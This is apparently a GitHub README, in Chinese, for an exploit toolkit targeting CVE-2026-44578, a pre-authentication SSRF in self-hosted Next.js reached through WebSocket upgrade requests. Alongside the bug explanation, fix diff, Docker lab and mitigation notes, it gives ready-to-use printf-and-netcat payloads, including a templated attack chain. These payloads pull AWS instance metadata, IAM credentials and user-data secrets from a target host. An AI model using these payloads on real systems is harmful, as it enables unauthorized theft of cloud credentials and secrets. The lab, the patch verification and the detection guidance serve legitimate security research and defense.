dinosn/CVE-2026-44578

GitHub: dinosn/CVE-2026-44578

针对 Next.js 自托管部署中 WebSocket upgrade SSRF 漏洞(CVE-2026-44578)的完整利用工具包,包含靶场、PoC 脚本和攻击载荷。

Stars: 0 | Forks: 1

# CVE-2026-44578 — Next.js WebSocket Upgrade SSRF Next.js 自托管部署中的预认证服务端请求伪造(SSRF)。 只需一个精心构造的 HTTP 请求,即可从 localhost:80 提取 AWS 凭证、密钥和内部服务数据。 | 字段 | 值 | |-------|-------| | CVE | [CVE-2026-44578](https://nvd.nist.gov/vuln/detail/CVE-2026-44578) | | GHSA | [GHSA-c4j6-fc7j-m34r](https://github.com/advisories/GHSA-c4j6-fc7j-m34r) | | CVSS 3.1 | **8.6 HIGH** (`AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N`) | | 类型 | SSRF (CWE-918) | | 受影响版本 | Next.js 13.4.13 – 15.5.15, 16.0.0 – 16.2.4 (仅限自托管) | | 修复版本 | 15.5.16, 16.2.5 | | 需要认证 | 无 | | 用户交互 | 无 | ## 漏洞详情 `router-server.ts` 中的 WebSocket upgrade 处理程序只要 `parsedUrl.protocol` 为真值,就会调用 `proxyRequest()`,而未检查 HTTP 处理程序一直强制执行的 `finished` 和 `statusCode` 路由完成标志。 ``` // router-server.ts — upgrade handler - if (parsedUrl.protocol) { - return await proxyRequest(req, socket, parsedUrl, head) // fix (commit c4f69086) + if (finished && parsedUrl.protocol) { + if (!statusCode) { + return await proxyRequest(req, socket, parsedUrl, head) + } + return socket.end() } ``` 在 `normalizeRepeatedSlashes` 将 `http:///` 折叠为 `http:/` 后,主机名变为 null,http-proxy 会连接到 **localhost:80** 并附带正确的路径。任何共存的服务(云元数据、管理面板、内部 API)都将暴露无遗。 ## 漏洞利用命令 ``` printf "GET http:///latest/meta-data/iam/security-credentials/ROLE HTTP/1.1\r\n\ Host: TARGET:3000\r\n\ Connection: Upgrade\r\n\ Upgrade: websocket\r\n\ Sec-WebSocket-Version: 13\r\n\ Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 TARGET 3000 ``` ## 工作原理 ``` Attacker Next.js (vuln) localhost:80 (IMDS/service) | | | | GET http:///latest/meta-data/| | | Connection: Upgrade | | | Upgrade: websocket | | |----------------------------->| | | | url.parse -> protocol:'http' | | | "///" matches regex | | | normalizeRepeatedSlashes | | | "http:///" -> "http:/" | | | Returns: finished:true | | | statusCode:308 | | | hostname:null | | | | | | BUG: only checks protocol | | | proxyRequest -> localhost:80 | | | GET /latest/meta-data/ | | |----------------------------->| | | 200 OK + credentials | | |<-----------------------------| | 200 OK + credentials | | |<-----------------------------| | ``` ## 靶场复现 ### 前置条件 - Docker + Docker Compose - Python 3.10+ - `nc` (netcat) ### 设置 ``` git clone https://github.com/dinosn/CVE-2026-44578.git cd CVE-2026-44578/lab ./setup.sh ``` 这将启动 5 个容器: | 容器 | 角色 | 暴露端口 | |-----------|------|---------| | `nextjs-vuln` | Next.js 15.5.15 (存在漏洞) | localhost:3000 | | `nextjs-fixed` | Next.js 15.5.16 (已修复) | localhost:3001 | | `imds-sidecar-vuln` | 与漏洞环境共享网络的伪 AWS IMDSv1 | localhost:80 (从漏洞容器视角) | | `imds-sidecar-fixed` | 与修复环境共享网络的伪 AWS IMDSv1 | localhost:80 (从修复容器视角) | | `internal-api` | 内部服务模拟 | — | IMDS sidecar 使用了 `network_mode: "service:nextjs-*"`,因此伪造的元数据服务位于 Next.js 容器内部的 `localhost:80` 上——模拟了真实的云实例场景。 ### 运行漏洞利用 ``` # 完整测试套件(7个 SSRF 探针) python3 ../exploit/poc.py -t http://localhost:3000 --test-all # 单次凭证提取 printf "GET http:///latest/meta-data/iam/security-credentials/NextjsAppRole HTTP/1.1\r\n\ Host: 127.0.0.1:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\n\ Sec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" \ | nc -w 5 127.0.0.1 3000 # 确认已修补的实例阻止了它 python3 ../exploit/poc.py -t http://localhost:3001 --test-all ``` ### 清理销毁 ``` ./teardown.sh ``` ## 证据 ### 1. 靶场运行中 所有容器均已启动——易受攻击的实例 (15.5.15) 在 :3000 端口,已修复的实例 (15.5.16) 在 :3001 端口,IMDS sidecar 共享网络命名空间。 ![靶场运行中](https://static.pigsec.cn/wp-content/uploads/repos/2026/05/faac048116185349.svg) ### 2. SSRF — AWS 元数据列举 单个请求即可返回完整的 EC2 元数据目录 (ami-id, instance-id, iam/, placement/ 等) ![元数据列举](https://static.pigsec.cn/wp-content/uploads/repos/2026/05/3b373599a2185359.svg) ### 3. SSRF — IAM 凭证提取 完整的 IAM 凭证集:`AccessKeyId`、`SecretAccessKey`、`Token` 和 `Expiration`。 ![IAM 凭证](https://static.pigsec.cn/wp-content/uploads/repos/2026/05/016c7ab9e0185420.svg) ### 4. SSRF — User-Data 机密数据 EC2 user-data 启动脚本,包含 `DB_PASSWORD` 和 `API_KEY`。 ![User-Data 机密数据](https://static.pigsec.cn/wp-content/uploads/repos/2026/05/48dbe0a1a7185430.svg) ### 5. SSRF — 实例身份信息 通过相同的 SSRF 向量提取的实例 ID。 ![实例 ID](https://static.pigsec.cn/wp-content/uploads/repos/2026/05/6c4d8bdadd185439.svg) ### 6. 已修复实例 — 攻击被阻止 对 Next.js 15.5.16 发起相同的载荷。连接立即关闭——未返回任何数据。 ![已修复阻止](https://static.pigsec.cn/wp-content/uploads/repos/2026/05/e7d9767083185449.svg) ### 7. IMDS 日志 — 服务端执行证明 伪造的 IMDS 日志显示 GET 请求来自 `127.0.0.1`(Next.js 进程),证明该 SSRF 发生在服务端。 ![IMDS 日志](https://static.pigsec.cn/wp-content/uploads/repos/2026/05/568092a803185500.svg) ### 8. 完整 PoC 套件 — 易受攻击环境 (7/7 已确认) 所有 7 项 SSRF 测试均在易受攻击的实例上返回了敏感数据。 ![完整套件 漏洞环境](https://static.pigsec.cn/wp-content/uploads/repos/2026/05/6af9dc5fc5185518.svg) ### 9. 完整 PoC 套件 — 已修复环境 (0/7 已阻止) 所有 7 项测试在已修复的实例上均被阻止。修复已确认。 ![完整套件 已修复环境](https://static.pigsec.cn/wp-content/uploads/repos/2026/05/191e4cc755185526.svg) ## 攻击链载荷 ``` # 1. 列出 metadata 类别 printf "GET http:///latest/meta-data/ HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000 # 2. 实例 ID printf "GET http:///latest/meta-data/instance-id HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000 # 3. 发现 IAM role printf "GET http:///latest/meta-data/iam/security-credentials/ HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000 # 4. 提取 IAM 凭证 printf "GET http:///latest/meta-data/iam/security-credentials/ROLE HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000 # 5. User-data secrets printf "GET http:///latest/user-data HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000 ``` 将 `T` 替换为目标主机,将 `ROLE` 替换为 IAM 角色名称。 ## 限制条件 | 限制项 | 详情 | |------------|--------| | HTTP 方法 | 仅限 GET | | 目标 | localhost:80 (主机名被规范化去除) | | AWS IMDSv2 | 不可利用 (需要 PUT 请求) | | GCP metadata | 不可利用 (拒绝 Upgrade 头) | | Vercel 托管 | 不受影响 | | 位于反向代理之后 | nginx/Caddy/HAProxy 会阻止绝对形式的 URI | ## 检测与缓解 ``` # Nginx:拒绝 absolute-form 请求 URI if ($request_uri ~* "^https?://") { return 400; } ``` 在 AWS 上:强制使用 IMDSv2 (`HttpTokens=required`)。 日志特征: - `Failed to proxy http:/` — 代理被触发但目标不可达 - `http:///path` 变体**不会产生错误日志**——需监控请求行中带有 `http:` 的 WebSocket upgrade 请求 ## 参考 | 来源 | 链接 | |--------|------| | NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-44578 | | GHSA | https://github.com/advisories/GHSA-c4j6-fc7j-m34r | | 修复 commit | https://github.com/vercel/next.js/commit/c4f69086cc8dcbd81b1dbc321c98ea874d90d6f8 | | Hadrian 分析文章 | https://hadrian.io/blog/next-js-websocket-ssrf-unauthenticated-access-to-internal-resources-cve-2026-44578-2 | | 公开 PoC (nextssrf) | https://github.com/ynsmroztas/nextssrf | ## 免责声明 仅供授权的安全测试、教育和防御性研究使用。仅限在您拥有或已获得明确书面测试授权的系统上使用。
标签:AWS凭证窃取, CISA项目, CVE-2026-44578, CWE-918, HTTP请求走私, IMDS, MITM代理, PoC, SSRF, WebSocket, Web安全, 依赖分析, 安全漏洞, 插件系统, 数据展示, 暴力破解, 服务端请求伪造, 本地文件读取, 版权保护, 红队, 网络安全, 蓝队分析, 请求拦截, 逆向工具, 隐私保护, 预认证漏洞